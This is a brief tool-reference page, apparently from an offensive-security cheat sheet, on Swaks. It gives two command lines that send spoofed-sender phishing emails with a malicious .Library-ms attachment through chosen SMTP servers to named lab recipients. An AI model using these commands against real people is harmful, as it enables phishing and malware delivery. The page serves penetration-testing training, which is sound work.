ToolsFebruary 9, 20261 min readby 0xt0pus

Swaks

Swiss Army Knife for SMTP testing and sending crafted emails for phishing assessments


Swaks

Description

Swaks (Swiss Army Knife for SMTP) is used for sending emails from the command line. In penetration testing, it is used for phishing attacks to send emails with malicious attachments.

Usage 1: Send Phishing Email with Attachment

Command:

sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

Usage 2: Send Email with Attachment (Alternative)

Command:

swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com -ap -attach @config.Library-ms --server 192.168.209.199 --body hello.txt --header "Subject: Problems" --suppress-data